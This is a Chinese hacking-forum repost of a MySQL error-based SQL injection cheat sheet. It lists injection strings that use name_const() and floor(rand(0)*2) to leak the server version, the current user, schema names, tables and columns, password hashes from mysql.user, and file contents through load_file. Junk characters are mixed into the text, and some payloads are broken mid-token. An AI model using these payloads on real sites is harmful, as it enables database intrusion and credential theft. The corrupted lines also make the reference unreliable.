Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑

0 J) M( p. v! p+ |% G, _
Mysql暴错注入参考（pdf），每天一贴。。。

2 m6 _+ j1 }9 v8 c7 FMySql Error Based Injection Reference
$ F6 b1 F' b  b6 g+ }3 p5 V[Mysql暴错注入参考]
* \) c8 P; b8 l5 s% ^. p7 XAuthornig0s1992
6 a- `! @( F6 I/ M: c3 h" ABlog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
  d9 s4 S* x. l& L6 @Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
" X! Q; e0 z5 k$ ~' w9 V, e小部分版本使用name_const()时会报错.可以用给出的Method.2测试
; _( J3 x7 Q! f5 r: y查询版本:
9 o& q3 i0 G; x' }- M5 CMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
. f2 z1 F% X" r& O; ?4 x; Xjoin+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
) G- v" y% K2 F3 \0 S1 ^, l查询当前用户:
, o7 l, ^. \+ x  k8 ^( b. q/ LMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) S4 }4 Y( G, O8 nMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
* O$ p) ?; V' {1 m1 D+ z% Mor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
: `" W: @5 }7 r顺序替换
7 R8 B1 Y. X0 V爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
" l# _: n& _8 e+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
: r, b3 X$ n* ?( r: g) G* V; Eable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
9 i; }0 U' S6 h' Mloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
( L3 j, {; _. h3 D3 ^1 Z. C依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
7 [$ X2 E, n/ n3 hma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
- K8 t: }7 G: d爆文件内容:
) b% S$ B! g4 x; Jand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
( P* p" e/ l0 m6 l7 `1 ^from+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

不要下载也可以，
+ q1 Y" t% H) X; Y, s; A" ~